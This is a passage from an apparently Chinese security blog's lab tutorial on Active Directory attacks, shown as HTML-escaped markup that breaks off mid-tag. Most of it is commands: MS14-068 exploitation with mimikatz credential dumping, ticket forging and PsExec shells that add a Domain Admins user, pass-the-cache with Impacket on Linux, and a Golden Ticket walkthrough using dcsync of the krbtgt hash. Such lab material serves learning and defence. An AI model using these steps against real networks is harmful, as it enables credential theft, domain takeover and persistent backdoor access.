PAC.&lt;/p&gt;&#10;&lt;p&gt;High privileges are required.&lt;/p&gt;&#10;&lt;p&gt;&lt;strong&gt;Affected Versions&lt;/strong&gt;&lt;/p&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;Windows Server 2003, Windows Server 2008, Windows Server 2008 R2, Windows Server 2012, and Windows Server 2012 R2&lt;/li&gt;&#10;&lt;li&gt;Windows Vista, Windows 7, Windows 8, and Windows 8.1&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;p&gt;&lt;strong&gt;Patch Number and Exploitation Requirements&lt;/strong&gt;&lt;/p&gt;&#10;&lt;p&gt;Patch number: KB3011780&lt;/p&gt;&#10;&lt;p&gt;Exploitation requirements:&lt;/p&gt;&#10;&lt;ol&gt;&#10;&lt;li&gt;Obtain access to a host (a domain-joined host)&lt;/li&gt;&#10;&lt;li&gt;Collect the account name, password, SID, and domain information for any user in the computer domain&lt;/li&gt;&#10;&lt;li&gt;The MS14-068 patch is not installed&lt;/li&gt;&#10;&lt;/ol&gt;&#10;&lt;p&gt;#There is a problem with this tutorial. If you have an administrator account and password, you can probably use PTH. The defining feature of MS14-068 is that a standard domain account can escalate to domain administrator, which is why the vulnerability is so severe. Any standard domain user is enough here.&lt;/p&gt;&#10;&lt;h4 id="-information-gathering-1"&gt;&lt;a href="#-information-gathering-1" class="header-anchor"&gt;&lt;/a&gt;② Information Gathering&#10;&lt;/h4&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;1. Domain administrator SID&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;whoami /all =&amp;gt; S-1-5-21-863777703-696496247-1862912240-500&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;2. Domain administrator plaintext password&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mimikatz.exe&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sekurlsa::minidump ./passwd.dmp&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sekurlsa::logonpasswords full =&amp;gt; Admin@123&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;3. Domain information, including the full domain name&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ipconfig /all&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-ptt-pth-ptc/image-0019.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-ptt-pth-ptc/image-0020.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Windows is case-insensitive, so both mao.com and MAO.COM work.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-ptt-pth-ptc/image-0021.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-ptt-pth-ptc/image-0022.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;h4 id="-exploitation"&gt;&lt;a href="#-exploitation" class="header-anchor"&gt;&lt;/a&gt;③ Exploitation&#10;&lt;/h4&gt;&lt;h5 id="1-generate-a-domain-administrator-key"&gt;&lt;a href="#1-generate-a-domain-administrator-key" class="header-anchor"&gt;&lt;/a&gt;1. Generate a Domain Administrator Key&#10;&lt;/h5&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Use an existing script to obtain a ticket:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ms14-068.exe -u &amp;lt;USERNAME@DOMAIN_NAME&amp;gt; -s &amp;lt;SID&amp;gt; -d &amp;lt;IP_ADDRESS&amp;gt; -p &amp;lt;USER_PASSWORD&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;MS14-068.exe -u Administrator@MAO.COM -s S-1-5-21-863777703-696496247-1862912240-500 -d 192.168.126.10 -p Admin@123&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-ptt-pth-ptc/image-0023.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;h5 id="2-import-the-generated-ticket-into-memory"&gt;&lt;a href="#2-import-the-generated-ticket-into-memory" class="header-anchor"&gt;&lt;/a&gt;2. Import the Generated Ticket into Memory&#10;&lt;/h5&gt;&lt;p&gt;Then use Mimikatz&amp;rsquo;s &lt;code&gt;kerberos::ptc&lt;/code&gt; module to load the ticket.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mimikatz.exe&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;privilege::debug&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;kerberos::ptc TGT_Administrator@MAO.COM.ccache&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-ptt-pth-ptc/image-0024.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;h5 id="3-open-an-administrator-terminal-with-the-current-privileges"&gt;&lt;a href="#3-open-an-administrator-terminal-with-the-current-privileges" class="header-anchor"&gt;&lt;/a&gt;3. Open an Administrator Terminal with the Current Privileges&#10;&lt;/h5&gt;&lt;p&gt;Use Mimikatz&amp;rsquo;s &lt;code&gt;misc::cmd&lt;/code&gt; module to open a new window and verify our current privileges.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;misc::cmd&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;dir \\192.168.126.10\c$&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-ptt-pth-ptc/image-0025.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;h5 id="4-use-psexecexe-to-obtain-an-interactive-shell"&gt;&lt;a href="#4-use-psexecexe-to-obtain-an-interactive-shell" class="header-anchor"&gt;&lt;/a&gt;4. Use PsExec.exe to Obtain an Interactive Shell&#10;&lt;/h5&gt;&lt;p&gt;From the administrator terminal we just created, use PsExec.exe to obtain an interactive shell and create a user belonging to the administrators group.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;A plaintext password can also be used with psexec.exe&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;PsExec64.exe \\192.168.0.110 -u Administrator -p Admin@123!@# -s cmd.exe&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;If the ticket is already imported, obtain a shell directly; this step is PTC&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;PsExec.exe \\192.168.126.10 cmd&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ipconfig&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;whoami&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;net user carmi carmi@123 /add /domain&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;net group &amp;#34;Domain Admins&amp;#34; carmi /add /domain&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;net group &amp;#34;Domain Admins&amp;#34; /domain&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-ptt-pth-ptc/image-0026.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-ptt-pth-ptc/image-0027.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;h3 id="ptc-on-linux"&gt;&lt;a href="#ptc-on-linux" class="header-anchor"&gt;&lt;/a&gt;PTC on linux&#10;&lt;/h3&gt;&lt;ol&gt;&#10;&lt;li&gt;Find ticket cache files:&lt;/li&gt;&#10;&lt;/ol&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Default locations&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ls /tmp/krb5cc_*&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ls ~/.krb5cc_*&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;ol start="2"&gt;&#10;&lt;li&gt;Import the ticket:&lt;/li&gt;&#10;&lt;/ol&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Set the environment variable; the tool reads KRB5CCNAME, whose value is the cache path&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;export KRB5CCNAME=/tmp/krb5cc_1000&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# View tickets&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;klist&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;ol start="3"&gt;&#10;&lt;li&gt;Use the ticket:&lt;/li&gt;&#10;&lt;/ol&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Impacket tools&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;psexec.py -k -no-pass test.domain/administrator@dc.test.domain&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;smbexec.py -k -no-pass test.domain/administrator@dc.test.domain&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Main use cases:&lt;/p&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;Linux joined to a domain environment&lt;/li&gt;&#10;&lt;li&gt;Penetration testing inside a domain&lt;/li&gt;&#10;&lt;li&gt;Cross-platform attacks&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;h3 id="8-lab-ptt-pass-the-ticket-golden-ticket"&gt;&lt;a href="#8-lab-ptt-pass-the-ticket-golden-ticket" class="header-anchor"&gt;&lt;/a&gt;8. Lab: PTT (pass-the-ticket) Golden Ticket&#10;&lt;/h3&gt;&lt;h4 id="-introduction-1"&gt;&lt;a href="#-introduction-1" class="header-anchor"&gt;&lt;/a&gt;① Introduction&#10;&lt;/h4&gt;&lt;p&gt;The KDC&amp;rsquo;s job is to generate a TGT for any user. That raises a question: what would let someone generate a TGT for an arbitrary user? We need to look back at the kerberos authentication process. During windows authentication, the client sends its own information to the KDC. The KDC then uses &lt;code&gt;the NTLM hash of the krbtgt user's password&lt;/code&gt; as the encryption key and generates a TGT.&lt;/p&gt;&#10;&lt;p&gt;&lt;strong&gt;In one sentence: the TGT is generated by the KDC using the hash of the krbtgt user&amp;rsquo;s password as the key, together with the client&amp;rsquo;s own information.&lt;/strong&gt;&lt;/p&gt;&#10;&lt;p&gt;So if we obtain the hash of the krbtgt password, can we forge any TGT? Absolutely. However, because krbtgt exists only on the domain controller, using a Golden Ticket (a pass-the-ticket attack) means we must already have compromised the domain controller. A Golden Ticket can therefore be understood as a backdoor.&lt;/p&gt;&#10;&lt;p&gt;The Krbtgt user is generated automatically when the domain controller is created.&lt;/p&gt;&#10;&lt;p&gt;As long as the krbtgt user&amp;rsquo;s password is not changed, a Golden Ticket can be used to create ticket information for any user and inject it into memory.&lt;/p&gt;&#10;&lt;p&gt;Using a Golden Ticket requires communication with the domain controller.&lt;/p&gt;&#10;&lt;h4 id="-prerequisites-1"&gt;&lt;a href="#-prerequisites-1" class="header-anchor"&gt;&lt;/a&gt;② Prerequisites&#10;&lt;/h4&gt;&lt;ul&gt;&#10;&lt;li&gt;Domain name and domain SID (with the rid removed): obtain them with &lt;code&gt;whoami /user&lt;/code&gt;&lt;/li&gt;&#10;&lt;li&gt;Username to forge (the target): obtain it using methods such as &lt;code&gt;net user /domain&lt;/code&gt;&lt;/li&gt;&#10;&lt;li&gt;Hash of the krbtgt user: obtain it using methods such as Mimikatz&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;h4 id="-information-gathering-2"&gt;&lt;a href="#-information-gathering-2" class="header-anchor"&gt;&lt;/a&gt;③ Information Gathering&#10;&lt;/h4&gt;&lt;p&gt;Use mimkatz to obtain the krbtgt hash (only this step must be performed on the domain controller) =&amp;gt; e798fdc7ba810c372ef7bffcdc8f2d13&lt;/p&gt;&#10;&lt;p&gt;Mimkatz can be finicky, and because of issues with the software, directly pasting Mimikatz content into the command line may fail or even crash the program. We can work around that by generating a log.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mimikatz.exe&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;log&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;privilege::debug&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;lsadump::dcsync /user:krbtgt&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-ptt-pth-ptc/image-0028.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Domain SID (no privileges are required to retrieve it): &lt;code&gt;whoami /user&lt;/code&gt; =&amp;gt; S-1-5-21-863777703-696496247-1862912240 (the portion after the last hyphen represents the user&amp;rsquo;s privileges, so we only need the first part)&lt;/p&gt;&#10;&lt;p&gt;Username to forge (target): &lt;code&gt;net user /domain&lt;/code&gt; =&amp;gt; Administrator&lt;/p&gt;&#10;&lt;p&gt;Domain name (full domain name): &lt;code&gt;ipconfig /all&lt;/code&gt; =&amp;gt; mao.com&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-ptt-pth-ptc/image-0029.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;h4 id="-exploitation-1"&gt;&lt;a href="#-exploitation-1" class="header-anchor"&gt;&lt;/a&gt;③ Exploitation&#10;&lt;/h4&gt;&lt;p&gt;Run these operations from an administrator window.&lt;/p&gt;&#10;&lt;h5 id="1-clear-existing-tickets"&gt;&lt;a href="#1-clear-existing-tickets" class="header-anchor"&gt;&lt;/a&gt;1. Clear Existing Tickets&#10;&lt;/h5&gt;&lt;p&gt;Existing tickets must be cleared before generating a ticket. As a result, if ticket generation fails, the host will no longer be able to access information in the domain (it effectively leaves the domain).&lt;/p&gt;&#10;&lt;p&gt;After clearing the tickets with &lt;code&gt;kerberos::purge&lt;/code&gt;, you can use kerberos::golden to generate a ticket.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mimikatz.exe&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;privilege::debug&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;kerberos::purge Clear tickets&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-ptt-pth-ptc/image-0030.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;h5 id="2-generate-a-ticket"&gt;&lt;a href="#2-generate-a-ticket" class="header-anchor"&gt;&lt;/a&gt;2. Generate a Ticket&#10;&lt;/h5&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;kerberos::golden /user:&amp;lt;FORGED_USERNAME&amp;gt; /domain:&amp;lt;FULL_DOMAIN_NAME&amp;gt; /krbtgt:&amp;lt;KRBTGT_USER_HASH&amp;gt; /sid:&amp;lt;DOMAIN_SID&amp;gt; /ticket:&amp;lt;OUTPUT_FILENAME.kirbr&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;kerberos::golden /user:Administrator /domain:test.local /krbtgt:fc9433a1a38088e6b6b74e2c29cf02bd /sid:S-1-5-21-1304053684-1769385709-786886762-500 /ticket:carmi.kirbr&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-ptt-pth-ptc/image-0031.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;h5 id="3-inject-the-ticket"&gt;&lt;a href="#3-inject-the-ticket" class="header-anchor"&gt;&lt;/a&gt;3. Inject the Ticket&#10;&lt;/h5&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;kerberos::ptt carmi.kirbr&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-ptt-pth-ptc/image-0032.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;h5 id="4-create-a-domain-controller-session"&gt;&lt;a href="#4-create-a-domain-controller-session" class="header-anchor"&gt;&lt;/a&gt;4. Create a Domain Controller Session&#10;&lt;/h5&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;misc::cmd&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;whoami&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;dir \\192.168.126.10\c$&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;PsExec.exe \\192.168.126.10 cmd&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ipconfig&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img 